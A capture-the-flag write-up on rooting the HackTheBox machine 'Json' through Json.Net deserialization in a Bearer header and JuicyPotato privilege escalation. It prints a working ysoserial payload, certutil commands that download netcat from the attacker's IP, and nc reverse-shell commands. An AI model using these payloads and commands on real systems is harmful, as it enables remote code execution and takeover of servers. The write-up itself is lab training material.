HacktheBox — Json. This is a write-up on how I solved Json…
Tags: Json, Windows, Hacking, Capture The Flag, Ctf

This is a write-up on how I solved Json from HacktheBox.

Hack the Box is an online platform where you practice your penetration testing skills.

Summary:

An IIS Server is vulnerable to JSON de-serialization using the client's HTTP Authentication Bearer field, leading to code execution. For root, I went the unintended route by using JuicyPotato since SEImpersonatePrivilege is enabled plus this is a Windows 2012 R2 Datacenter machine.

Scanning:

I first run an nmap scan:

nmap -sV -sC -oA nmap/initial 10.10.10.158

Open ports are 21, 80, SMB and RPC’s. It also tells us that the OS is Windows Server 2008 R2 which is odd. I first check the webpage on port 80.

/login.html

Before trying basic credentials, I first checked the source and find it interesting because I see texts usually used in C# or other .NET family.

I try the credential admin:admin and capture the request using Burp:

Note that it submits to the endpoint /api/token, the Referer field is /login.html, and the Content-Type is application/json.

Checking the response, its 202 which is usually seen in API’s. HTTP Status 202 indicates that request has been accepted for processing, but the processing has not been completed.

Note also that the Headers of the response include the following:

Server: Microsoft-IIS/8.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Oauth2= eyJJ..

The value of Oauth2 looks like a JWT, which is composed of base64 characters. Decoding it results to the values:

The password field looks like an md5 hash. Running md5sum on the string admin, we can verify that’s it.

The landing page looks like this.

Exploitation:

After clicking on various links and capturing the request, what’s interesting is clicking the Dashboard link.

When selecting the Dashboard option, the request looks like this:

Notice also the Bearer field is identical with the OAuth2. Since it’s basically JSON values encoded in base64, which is interpreted by the C# server, I looked for vulnerabilities or attack vectors that are related to these events. Most of the links suggest a JSON Deserialization attack.

After researching, most of the writeups suggest using the ysoserial.net project, which is a deserialization payload generator. https://github.com/pwntester/ysoserial.net. Before that, I try to check how the server responds if the value I place in Bearer field is not in Json format.

root@kali:~/htb/boxes/Json-10.10.10.158# echo -n "test" | base64

dGVzdA==

Sending the request:

The server’s response mentions a “Cannot deserialize Json.Net object”.

I then use ysoserial.net. Running this on a Windows machine, I can use the gadget ObjectDataProvider since one of its formatters is Json.Net which was mentioned that the server cannot deserialize the Json.Net Object. Which indicates it expects the data to be sent in the format of Json.Net. I first try to execute a ping to my IP, output should be base64:

.\ysoserial.exe -f Json.Net -g ObjectDataProvider -o base64 -c "ping -n 2 10.10.14.81"

The output of the ysoserial in base64:

ew0KICAgICckdHlwZSc6J1N5c3RlbS5XaW5kb3dzLkRhdGEuT2JqZWN0RGF0YVByb3ZpZGVyLCBQcmVzZW50YXRpb25GcmFtZXdvcmssIFZlcnNpb249NC4

wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj0zMWJmMzg1NmFkMzY0ZTM1JywgDQogICAgJ01ldGhvZE5hbWUnOidTdGFydCcsDQogIC

AgJ01ldGhvZFBhcmFtZXRlcnMnOnsNCiAgICAgICAgJyR0eXBlJzonU3lzdGVtLkNvbGxlY3Rpb25zLkFycmF5TGlzdCwgbXNjb3JsaWIsIFZlcnNpb249N

C4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5JywNCiAgICAgICAgJyR2YWx1ZXMnOlsnY21kJywnL2Mg

cGluZyAtbiAyIDEwLjEwLjE0LjgxJ10NCiAgICB9LA0KICAgICdPYmplY3RJbnN0YW5jZSc6eyckdHlwZSc6J1N5c3RlbS5EaWFnbm9zdGljcy5Qcm9jZXN

zLCBTeXN0ZW0sIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5J30NCn0=

If you are curious how it looks like in raw output:

{

'$type':'System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKey

Token=31bf3856ad364e35',

'MethodName':'Start',

'MethodParameters':{

'$type':'System.Collections.ArrayList, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e

089',

'$values':['cmd','/c ping -n 2 10.10.14.81']

},

'ObjectInstance':{'$type':'System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77

a5c561934e089'}

}

I now paste this in the Bearer field:

The server errors out:

But on my tcpdump sniffer, I get a ping from the machine(you will not be able to identify if you get a ping if you don’t run a sniffer) which validates we have code execution.

I now generate a payload which downloads a netcat binary on one of the directories I can write to. Other locations can be found here: https://github.com/api0cradle/UltimateAppLockerByPassList/blob/master/Generic-AppLockerbypasses.md

ysoserial.exe -f Json.Net -g ObjectDataProvider -o base64 -c "certutil.exe -urlcache -sp

lit -f http://10.10.14.81/nc.exe C:/Windows/System32/spool/drivers/color/nc.exe"

On my simple HTTP server, I get a request:

Now, I generate a payload that will connect to me for a reverse shell:

ysoserial.exe -f Json.Net -g ObjectDataProvider -o base64 -c "C:/Windows/System32/spool/drivers/color/nc.exe 10.10.14.81 9001 -e cmd.exe"

On my listener, I get a shell as json.

Running whoami /all, I can see that the SeImpersonatePrivilege is enabled. Which means I can try to use JuicyPotato later.

With this access also, I can now read user.txt

C:\Users\userpool>type Desktop\user.txt

type Desktop\user.txt

34459a01f50050dc410db0...

Privilege Escalation:

I went for the unintended route which uses JuicyPotato. JuicyPotato is another Local Privilege Escalation tool, from a Windows Service Account to NT AUTHORITY\SYSTEM. It based on RottenPotato, the theory behind it according to the page https://foxglovesecurity.com/2016/09/26/rotten-potato-privilege-escalation-from-service-accounts-to-system/ is:

Trick the “NT AUTHORITY\SYSTEM” account into authenticating via NTLM to a TCP endpoint we control. Man-in-the-middle this authentication attempt (NTLM relay) to locally negotiate a security token for the “NT AUTHORITY\SYSTEM” account. This is done through a series of Windows API calls. Impersonate the token we have just negotiated. This can only be done if the attackers current account has the privilege to impersonate security tokens. This is usually true of most service accounts and not true of most user-level accounts.

JuicyPotato can be found here: https://github.com/ohpe/juicy-potato

I first transfer the binary to a directory I can write to, transferring it using certutil:

Checking that it can be ran:

What I will be needing are the following flags:

-t (try both), -p (any program we want to run as system) , -l (which can be anything) , and -c {clsid}

Since juicypotato requires a clsid which depends on the Windows OS. I run systeminfo, and see that this is a Windows Server 2012 R2 Datacenter. Note that from our nmap scan, it is identified as a Windows 2008.

I can look for possible CLSID’s here: http://ohpe.it/juicy-potato/CLSID/Windows_Server_2012_Datacenter/.

The first CLSID as SYSTEM worked for me which is {e60687f7–01a1–40aa-86ac-db1cbf673334}. I then transfer a .bat file using certutil, which basically contains:

C:/Windows/System32/spool/drivers/color/nc.exe 10.10.14.81 9003 -e cmd.exe

Running juicypotato:

.\j.exe -t * -l 9001 -p c:\Users\userpool\Music\test.bat -c {e60687f7-01a1-40aa-86ac-db1cbf673334}

I get a shell as nt authority\system. I can now read root.txt:

C:\Users\superadmin>type Desktop\root.txt

type Desktop\root.txt

3cc85d1bed2ee84a...

So that’s how I solved Json. I hope you learned something from this. Thanks for reading my write-up! Cheers! 🍺